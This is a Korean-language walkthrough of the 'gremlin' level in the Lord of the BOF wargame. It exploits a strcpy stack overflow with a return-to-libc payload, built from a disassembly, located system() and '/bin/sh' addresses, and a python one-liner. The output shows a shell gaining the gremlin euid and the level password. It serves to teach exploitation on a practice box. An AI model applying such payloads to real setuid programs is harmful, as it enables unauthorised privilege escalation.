해당 문제는 기본 BOF문제이다. 하지만 여기서 나는 쉘코드를 이용하기 귀찮았기에 RTL기법을 사용하여 gremlin의 권한을 획득하였다. 풀이는 다음과 같다.
[gate@localhost gate]$ ls gremlin gremlin.c
[gate@localhost gate]$ cat gremlin.c /* The Lord of the BOF : The Fellowship of the BOF - gremlin - simple BOF */ int main(int argc, char *argv[]) { char buffer[256]; if(argc < 2){ printf("argv error\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); } |
최초에 접속하면 gremlin 실행 파일과, gremlin.c 소스코드가 존재한다.
해당 문제의 Buffer Over Flow의 위치는 strcpy로부터 발생한다. char buffer[256]에 해당되는 스택공간과 추가 여분공간을 넘어서는 순간 Buffer Over Flow 취약점의 트리거가 되는 것이다.
그렇다면 gdb를 이용하여 해당 문제의 어셈블 코드를 확인하여 보자.
(gremlin 파일의 경우 gremlin에게 모든 권한이 있기 때문에, gate계정에는 권한이 없기 때문에 어셈블 코드는 확인이 가능하지만 디버깅은 불가능하다.)
[gate@localhost gate]$ gdb -q gremlin (gdb) set disassembly-flavor intel (gdb) disass main Dump of assembler code for function main: 0x8048430 <main>: push %ebp 0x8048431 <main+1>: mov %ebp,%esp 0x8048433 <main+3>: sub %esp,0x100 0x8048439 <main+9>: cmp DWORD PTR [%ebp+8],1 0x804843d <main+13>: jg 0x8048456 <main+38> 0x804843f <main+15>: push 0x80484e0 0x8048444 <main+20>: call 0x8048350 <printf> 0x8048449 <main+25>: add %esp,4 0x804844c <main+28>: push 0 0x804844e <main+30>: call 0x8048360 <exit> 0x8048453 <main+35>: add %esp,4 0x8048456 <main+38>: mov %eax,DWORD PTR [%ebp+12] 0x8048459 <main+41>: add %eax,4 0x804845c <main+44>: mov %edx,DWORD PTR [%eax] 0x804845e <main+46>: push %edx 0x804845f <main+47>: lea %eax,[%ebp-256] 0x8048465 <main+53>: push %eax 0x8048466 <main+54>: call 0x8048370 <strcpy> 0x804846b <main+59>: add %esp,8 0x804846e <main+62>: lea %eax,[%ebp-256] 0x8048474 <main+68>: push %eax 0x8048475 <main+69>: push 0x80484ec 0x804847a <main+74>: call 0x8048350 <printf> 0x804847f <main+79>: add %esp,8 0x8048482 <main+82>: leave 0x8048483 <main+83>: ret 0x8048484 <main+84>: nop 0x8048485 <main+85>: nop 0x8048486 <main+86>: nop 0x8048487 <main+87>: nop 0x8048488 <main+88>: nop 0x8048489 <main+89>: nop 0x804848a <main+90>: nop 0x804848b <main+91>: nop 0x804848c <main+92>: nop 0x804848d <main+93>: nop 0x804848e <main+94>: nop 0x804848f <main+95>: nop End of assembler dump. (gdb) r AAA Starting program: /home/gate/gremlin AAA
/bin/bash2: /home/gate/gremlin: Operation not permitted /bin/bash2: /home/gate/gremlin: Operation not permitted
Program exited with code 01. You can't do that without a process to debug. (gdb) |
위에서 보면 <main+47>부분에서 eax에 [%ebp-256]의 주소를 넣어주는 것을 확인할 수 있다.
따라서 strcpy를 통해 문자열 copy를 시작하는 부분이 [%ebp-256]의 지점부터라는 것이고, 따라서 256byte가 buffer에게 할당된 스택공간이란 것이다.
그렇다면 우리는 아래와 같은 스택의 그림을 그려볼 수 있다.
Buffer[256]
|
SFP(4byte) |
RET(4byte) |
??? |
그럼 우리는 보통 Shell 코드를 Buffer 공간에 넣고 RET의 주소를 Buffer 공간으로 넣어주어 쉘코드를 실행하는 기본적인 BOF를 했었지만, 여기서는 RTL을 이용하여 해당 문제를 해결할 생각이다. 그럼 우선 사용할 라이브러리 함수인 System()의 주소를 찾아야 한다. gdb상에서 찾아보도록 하자.
[gate@localhost gate]$ gdb -q g (gdb) b main Breakpoint 1 at 0x8048439 (gdb) r Starting program: /home/gate/g
Breakpoint 1, 0x8048439 in main () (gdb) print system $1 = {<text variable, no debug info>} 0x40058ae0 <__libc_system> (gdb) |
우리는 system()함수의 주소를 얻었기 때문에, 이 해당 함수의 주소를 가지고 "/bin/sh"의 주소를 찾을 것이다.
그것을 찾기 위한 코드와 찾아낸 /bin/sh문자열의 주소값은 아래와 같다.
[gate@localhost gate]$ cat getsh.c #include <stdio.h>
void main(){ char *ptr = 0x40058ae0; while(1){ if(strcmp(ptr, "/bin/sh")==0){ printf("%x\n", ptr); break; } ptr++; } } [gate@localhost gate]$ gcc -o getsh getsh.c getsh.c: In function `main': getsh.c:4: warning: initialization makes pointer from integer without a cast getsh.c:3: warning: return type of `main' is not `int' [gate@localhost gate]$ ./getsh 400fbff9 |
그럼 우리는 BOF를 수행할 수 있는 모든 요소들을 얻어 냈다. 이제는 Payload를 짜서 BOF를 수행해보자.
$(python -c 'print "A"*260+"\xe0\x8a\x05\x40"+"B"*4+"\xf9\xbf\x0f\x40"')
"A"*260 + "system()라이브러리 함수의 주소" + "Garbage" + "매개변수로 들어가는 "/bin/sh"의 주소"
해당 페이로드를 만들었고, 실행결과는 아래와 같다.
[gate@localhost gate]$ <"*260+"\xe0\x8a\x05\x40"+"B"*4+"\xf9\xbf\x0f\x40"') AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA��@BBBB��@ bash$ id uid=500(gate) gid=500(gate) euid=501(gremlin) egid=501(gremlin) groups=500(gate) bash$ /bin/my-pass euid = 501 hello bof world bash$ |